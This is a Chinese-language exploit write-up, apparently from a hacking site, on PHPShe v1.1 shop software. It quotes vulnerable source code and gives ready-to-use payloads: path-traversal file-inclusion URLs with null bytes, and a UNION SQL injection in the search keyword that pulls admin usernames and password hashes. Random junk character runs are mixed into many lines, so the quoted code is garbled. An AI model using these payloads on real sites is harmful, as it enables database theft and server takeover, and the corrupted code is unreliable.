phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
( }0 [% o- `- |/ S6 F% H1 g8 D/* ========================
0 A; Z  L* v' K6 W/ B. g/* By: : Kn1f3
8 E2 ?, R" [8 v" H  q$ W/* E-Mail : 681796@qq.com
/*******************************************************/
0×00 整体大概参数传输

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//common.php
if (get_magic_quotes_gpc()) {
: E, K; P7 P) z9 F6 g; I!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
2 k' B! f5 D3 _!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
1 Z8 ?' F( N7 c" ]7 a7 K4 z}
" [- N0 g8 t( C, _% _2 J0 x' Delse {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
. Q4 i* M! n) m}
1 Q' N. g4 M, Lsession_start();
4 ^( W* C# |% a4 e; V) {* i!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞


0 S: k; C; ^) V9 O2 x# |, r# @//首页文件
! Z7 B3 b" s  ^1 Z; k: h<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
1 L/ v5 C, u$ X/ z; c5 E* H7 Minclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
/ ~0 U- ~7 D1 B0 m' l4 b- \$ u?>
//common 文件 第15行开始
url路由配置
3 ]/ r7 w/ E0 ~$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
: y2 p' t; K9 ^* l, `' E5 h4 ~$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
* {" u2 I( P" `" [; L$ }% }//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
5 e: _" q0 u5 P

4 P* S* ], K. V( Y7 \7 A
, Q6 t3 D1 ^6 D: G  h* M 0×02 搜索注入
4 V6 ?) C; V: r+ h- ]6 S$ m7 D
<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
$info = $db->pe_select('category', array('category_id'=>$category_id));
//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
7 r' |* s9 J+ ?* K" @- S5 t4 pif ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
0 N, t  D2 C, w' |}
. J5 U! G+ \+ y+ E5 }& Z% O$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 R) g- P6 |2 h1 O( zif ($_g_orderby) {
5 c! O6 B+ D. Y# `& i$orderby = explode('_', $_g_orderby);
$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
4 J* E" t: _0 M" K. H( qelse {
+ f& x" a! G: e. F2 L. r9 f9 n$sqlwhere .= " order by `product_id` desc";
}
$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
7 @( x+ B, I* a5 \0 c% J- y  K# L9 _//热卖排行
+ L3 ~$ U( Y/ D/ Q$product_hotlist = product_hotlist();
( t5 f" O+ X! v, V//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
$ O3 U6 h1 D$ L' T0 f# {# X//跟进selectall函数库
public function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
, }. X, G9 e9 j4 T5 j! `{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
( [5 e+ Z' ?& Z+ j! ?) K//exp
product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>

0×03 包含漏洞2
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- i- x8 N3 ~* i# Y, p2 F& @<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

2 z6 H# B. k8 r- p% Cforeach($cache_payway as $k => $v) {

$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

- c1 K, K* t- D$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

6 o/ Z7 {, I; v  n. ]1 S$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

if (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

2 ]' q+ _7 A5 y- H# n- s$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

+ ~  p& Z8 Q( [6 bforeach ($info_list as $v) {

$order['order_name'] .= "{$v['product_name']};";

, A/ J" C* w- i0 I. |. N}

  K& L9 g9 a( L. a3 fecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

+ O' j" _' h8 j7 P: }}//当一切准备好的时候就可以进行"鸡肋包含了"

% L% G# C& h$ j) a- belse {

pe_error('支付错误...');

}

/ ?: T8 J: u; [3 B) M}

$seo = pe_seo('选择支付方式');

, \3 \6 K& H* |include(pe_tpl('order_pay.html'));

. L" J" I! L/ L3 Sbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
) r; k6 E+ p; i& ]& F# H" khttp://www.myhack58.com/Article/UploadPic/2013-4/20134161293183866.jpg